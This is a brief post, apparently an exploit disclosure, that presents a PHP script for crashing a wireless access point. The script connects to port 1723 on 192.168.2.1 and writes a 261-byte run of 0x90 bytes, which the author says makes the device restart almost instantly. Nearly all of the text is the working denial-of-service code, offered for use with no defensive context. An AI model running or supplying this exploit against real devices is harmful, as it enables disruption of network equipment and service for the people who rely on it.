Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP.
It takes a few bytes for the AP to automatically restart
<?php
$apaddr = "192.168.2.1";
$apport="1723";
$con = fsockopen($apaddr, $apport, $errno, $errstr);
if (!$con) {
echo "$errstr ($errno)<br />\n";
} else {
$trash = str_repeat("\x90","261");
fwrite($con, $trash);
while (!feof($con)) {
echo "$trash \r\n";
}
fclose($con);
}
?>